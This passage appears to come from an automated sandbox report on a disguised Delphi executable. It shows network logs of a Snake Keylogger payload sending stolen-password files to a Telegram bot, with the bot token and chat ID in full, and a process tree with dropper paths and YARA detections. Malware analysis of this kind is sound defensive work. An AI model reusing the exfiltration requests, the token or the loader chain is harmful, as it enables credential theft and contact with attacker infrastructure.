2024-12-18 15:18:45 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 35 34 31 63 33 39 63 39 32 61 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2541c39c92aaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:45 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:45 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 39 30 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 32 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":419006,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535125,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50096	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:45 UTC	352	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2570877d30d9 Host: api.telegram.org Content-Length: 535 Connection: Keep-Alive
2024-12-18 15:18:45 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 35 37 30 38 37 37 64 33 30 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2570877d30d9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:46 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:46 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 39 30 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 32 36 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":419008,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535126,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50098	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:46 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2941500303d9 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:46 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 39 34 31 35 30 30 33 30 33 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2941500303d9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:47 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:46 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:47 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 39 30 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 32 36 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":419010,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535126,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50100	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:50 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd25d7579be125 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:50 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 35 64 37 35 37 39 62 65 31 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd25d7579be125Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:51 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:51 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 39 30 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 33 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":419012,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535131,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50104	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:51 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd26086a764c20 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:51 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 36 30 38 36 61 37 36 34 63 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd26086a764c20Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:51 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:51 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 39 30 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 33 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":419014,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535131,"documen

Target ID:	0
Start time:	10:16:37
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\D.G Governor Istek,Docx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\D.G Governor Istek,Docx.exe"
Imagebase:	0x400000
File size:	1'019'392 bytes
MD5 hash:	7D212D2DAB091BEC36A906828D270C65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.2280883342.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.2245824423.0000000002366000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.2157901937.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:16:45
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:16:45
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:16:45
Start date:	18/12/2024
Path:	C:\Users\Public\Libraries\xzeheenC.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\xzeheenC.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000004.00000002.3435180894.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.3467561668.000000001CE1B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000002.3467561668.000000001CE1B000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3468357631.000000001D423000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3468357631.000000001D393000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000003.2246468592.000000001B22B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000003.2246468592.000000001B22B000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3468357631.000000001D547000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3468357631.000000001D37F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.3471183670.000000001E2F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000002.3471183670.000000001E2F1000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000004.00000002.3472140687.000000001F670000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.3472140687.000000001F670000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000002.3472140687.000000001F670000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000004.00000002.3472140687.000000001F670000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3468357631.000000001D3F5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	10:16:55
Start date:	18/12/2024
Path:	C:\Users\Public\Libraries\Cneehezx.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Cneehezx.PIF"
Imagebase:	0x400000
File size:	1'019'392 bytes
MD5 hash:	7D212D2DAB091BEC36A906828D270C65
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 100%, Avira Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:16:56
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 344, Parent PID: 6672

General

Target ID:	8
Start time:	10:16:56
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:16:56
Start date:	18/12/2024
Path:	C:\Users\Public\Libraries\xzeheenC.pif
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\xzeheenC.pif
Imagebase:	0x400000
File size:	175'800 bytes
MD5 hash:	22331ABCC9472CC9DC6F37FAF333AA2C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000002.3474258234.0000000035551000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000009.00000002.3474258234.0000000035551000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 